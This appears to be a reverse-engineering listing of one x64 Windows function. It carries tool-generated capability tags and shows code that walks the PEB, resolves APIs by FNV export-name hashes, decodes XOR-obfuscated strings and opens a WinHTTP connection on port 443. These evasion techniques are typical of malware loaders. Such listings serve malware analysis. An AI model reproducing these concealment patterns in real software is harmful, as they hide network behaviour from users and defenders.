Function at 0x1400084c0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Receive http response
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x14001b020]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov r10, qword [0x14001b568]
mov r13, rcx
test r10, r10
jne 0x1400085b8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008598
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008598
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xb97bd6e5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008593
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140008570
cmp edx, 0x6e5f4c05
je 0x1400087f5
test r8d, r8d
jne 0x140008550
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400085ae
cmp qword [rax + 0x30], 0
jne 0x140008520
xor r10d, r10d
mov qword [0x14001b568], r10
movups xmm0, xmmword [0x140016e20]
mov r15d, dword [section..data]
xor r8d, r8d
mov eax, dword [0x140016e58]
movaps xmmword [rsp + 0x150], xmm6
movaps xmmword [rsp + 0x140], xmm7
movaps xmmword [rsp + 0x130], xmm8
lea ebx, [r8 + 5]
mov dword [rbp], eax
lea edi, [rbx + 0x1a]
movaps xmmword [rsp + 0x120], xmm9
movups xmm1, xmmword [0x140016e30]
movups xmmword [rbp - 0x38], xmm0
movups xmm0, xmmword [0x140016e40]
movups xmmword [rbp - 0x28], xmm1
movsd xmm1, qword [0x140016e50]
movsd qword [rbp - 8], xmm1
movups xmmword [rbp - 0x18], xmm0
cmp r15d, 2
jl 0x14000875b
movdqa xmm5, xmmword [0x140016fe0]
lea rcx, [rbp - 0x38]
movdqa xmm4, xmmword [0x140017040]
movdqa xmm7, xmmword [0x140017000]
movdqa xmm9, xmmword [0x140017010]
movd xmm6, ebx
movd xmm8, edi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x140008660
cmp r8d, 0x1e
jge 0x1400087a8
movsxd rax, r8d
lea r9, [rbp - 0x38]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x37
xor word [r9 - 2], ax
cmp r8d, 0x1e
jl 0x140008770
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, [rbp - 0x38]
xor edx, edx
call r10
mov qword [rbp - 0x70], rax
mov r12, rax
test rax, rax
jne 0x140008812
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.OpenHTTP_error
call fcn.1400010f0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov al, 1
jmp 0x14000a8da
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1400085b1
movups xmm0, xmmword [str.ZABOYOP__2mG]
movzx eax, word [0x140016e80]
xor r8d, r8d
mov qword [rsp + 0x198], r14
mov word [rbp - 0x48], ax
movups xmm1, xmmword [0x140016e70]
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm1
cmp r15d, 2
jl 0x14000897b
movdqa xmm5, xmmword [0x140016fe0]
lea rcx, [rbp - 0x68]
movdqa xmm4, xmmword [0x140017040]
movdqa xmm7, xmmword [0x140017000]
movdqa xmm9, xmmword [0x140017010]
movd xmm6, ebx
movd xmm8, edi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x140008880
cmp r8d, 0x11
jge 0x1400089c8
movsxd rax, r8d
lea r9, [rbp - 0x68]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x37
xor word [r9 - 2], ax
cmp r8d, 0x11
jl 0x140008990
movzx eax, word [0x140016e90]
mov ecx, 0x2f
movsd xmm0, qword [0x140016e88]
xor ax, 0x3b
movsd qword [rsp + 0x40], xmm0
xor word [rsp + 0x42], 0x38
xor word [rsp + 0x44], 0x39
xor word [rsp + 0x46], 0x3a
mov word [rsp + 0x48], ax
mov rax, qword [0x14001b560]
mov word [rsp + 0x40], cx
test rax, rax
jne 0x140008acf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008aa8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008aa8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x8ece11a2
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008aa3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140008a80
cmp edx, 0x6ca7b9ba
je 0x140008daf
test r8d, r8d
jne 0x140008a60
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140008abe
cmp qword [rax + 0x30], 0
jne 0x140008a30
xor eax, eax
mov ebx, 5
mov qword [0x14001b560], rax
lea edi, [rbx + 0x1a]
mov r8d, 0x1bb
lea rdx, [rbp - 0x68]
xor r9d, r9d
mov rcx, r12
call rax
mov qword [rbp - 0x40], rax
mov r14, rax
test rax, rax
jne 0x140008df5
cmp byte [0x140016eb3], r14b
movups xmm0, xmmword [0x140016e98]
mov eax, dword [0x140016eb0]
movsd xmm1, qword [0x140016ea8]
movups xmmword [rsp + 0x68], xmm0
mov dword [rbp - 0x80], eax
movsd qword [rsp + 0x78], xmm1
je 0x140008cbf
xor ecx, ecx
cmp r15d, 2
jl 0x140008c7e
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rsp + 0x6c]
movdqa xmm5, xmmword [0x140016fe0]
movdqa xmm4, xmmword [0x140017040]
movdqa xmm7, xmmword [0x140017000]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm6, ebx
movd xmm8, edi
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140008b70
cmp ecx, 0x1c
jge 0x140008cbf
movsxd rax, ecx
lea r8, [rsp + 0x68]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x1c
jl 0x140008c90
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x68]
call fcn.1400010f0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x14001b558]
test rax, rax
jne 0x140008da3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008d84
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008d84
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x6aa8d472
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008d7f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140008d60
cmp edx, 0x5a72e39e
je 0x140008dcb
test r8d, r8d
jne 0x140008d40
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140008d9a
cmp qword [rax + 0x30], 0
jne 0x140008d10
xor eax, eax
mov qword [0x14001b558], rax
mov rcx, r12
call rax
mov al, 1
jmp 0x14000a8d2
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140008ac0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
mov rcx, r12
add rax, r9
mov qword [0x14001b558], rax
call rax
mov al, 1
jmp 0x14000a8d2
mov r10, qword [0x14001b550]
test r10, r10
jne 0x140008eb8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008e98
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008e98
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x3d650386
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008e93
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140008e70
cmp edx, 0x8b3398c9
je 0x140008f63
test r8d, r8d
jne 0x140008e50
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140008eae
cmp qword [rax + 0x30], 0
jne 0x140008e20
xor r10d, r10d
mov qword [0x14001b550], r10
cmp word [0x140016ebe], 0
mov rax, qword [str.pm:]
mov qword [rbp - 0x78], rax
je 0x140008fc8
cmp r15d, 2
jl 0x140008f80
movdqa xmm3, xmmword [0x140016fe0]
mov ebx, 5
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
mov edi, 0x1f
pmuldq xmm2, xmmword [0x140017040]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140017040]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, ebx
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140017000]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp - 0x78]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140017010]
pxor xmm2, xmm0
movq qword [rbp - 0x78], xmm2
jmp 0x140008fd0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x140008eb1
lea r9, [rbp - 0x78]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x37
xor word [r9 - 2], ax
cmp r8d, 4
jl 0x140008f90
mov edi, 0x1f
lea ebx, [rdi - 0x1a]
mov dword [rsp + 0x30], 0x800000
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], 0
lea rdx, [rbp - 0x78]
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov rcx, r14
call r10
mov r12, rax
test rax, rax
jne 0x1400093d7
mov eax, dword [0x140016ed0]
xor ecx, ecx
mov dword [rsp + 0x60], eax
movzx eax, word [0x140016ed4]
mov word [rsp + 0x64], ax
movzx eax, byte [0x140016ed6]
mov byte [rsp + 0x66], al
movups xmm0, xmmword [0x140016ec0]
movups xmmword [rsp + 0x50], xmm0
cmp r15d, 2
jl 0x14000918e
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rsp + 0x54]
movdqa xmm5, xmmword [0x140016fe0]
movdqa xmm4, xmmword [0x140017040]
movdqa xmm7, xmmword [0x140017000]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm6, ebx
movd xmm8, edi
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140009080
cmp ecx, 0x17
jge 0x1400091cf
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x17
jl 0x1400091a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x50]
call fcn.1400010f0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x14001b548]
test rax, rax
jne 0x1400092b7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009298
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009298
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x2eadc655
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009293
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009270
cmp edx, 0xe8384489
je 0x140009390
test r8d, r8d
jne 0x140009250
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400092ae
cmp qword [rax + 0x30], 0
jne 0x140009220
xor eax, eax
mov qword [0x14001b548], rax
mov rcx, r14
call rax
mov rax, qword [0x14001b540]
test rax, rax
jne 0x140009383
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009364
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009364
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x8553981e
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000935f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009340
cmp edx, 0x305472b2
je 0x1400093ac
test r8d, r8d
jne 0x140009320
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000937a
cmp qword [rax + 0x30], 0
jne 0x1400092f0
xor eax, eax
mov qword [0x14001b540], rax
mov rcx, qword [rbp - 0x70]
call rax
mov al, 1
jmp 0x14000a8d2
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400092b0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
mov rcx, qword [rbp - 0x70]
add rax, r9
mov qword [0x14001b540], rax
call rax
mov al, 1
jmp 0x14000a8d2
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x1400098c3
mov eax, dword [0x140016ee8]
xor ecx, ecx
mov dword [rsp + 0x60], eax
movzx eax, word [0x140016eec]
mov word [rsp + 0x64], ax
movzx eax, byte [0x140016eee]
mov byte [rsp + 0x66], al
movups xmm0, xmmword [0x140016ed8]
movups xmmword [rsp + 0x50], xmm0
cmp r15d, 2
jl 0x14000958e
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rsp + 0x54]
movdqa xmm5, xmmword [0x140016fe0]
movdqa xmm4, xmmword [0x140017040]
movdqa xmm7, xmmword [0x140017000]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm6, ebx
movd xmm8, edi
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140009480
cmp ecx, 0x17
jge 0x1400095cf
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x17
jl 0x1400095a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x50]
call fcn.1400010f0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x14001b538]
test rax, rax
jne 0x1400096b7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009698
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009698
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x412a42ae
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009693
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009670
cmp edx, 0x51b94ce2
je 0x140009860
test r8d, r8d
jne 0x140009650
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400096ae
cmp qword [rax + 0x30], 0
jne 0x140009620
xor eax, eax
mov qword [0x14001b538], rax
mov rcx, r12
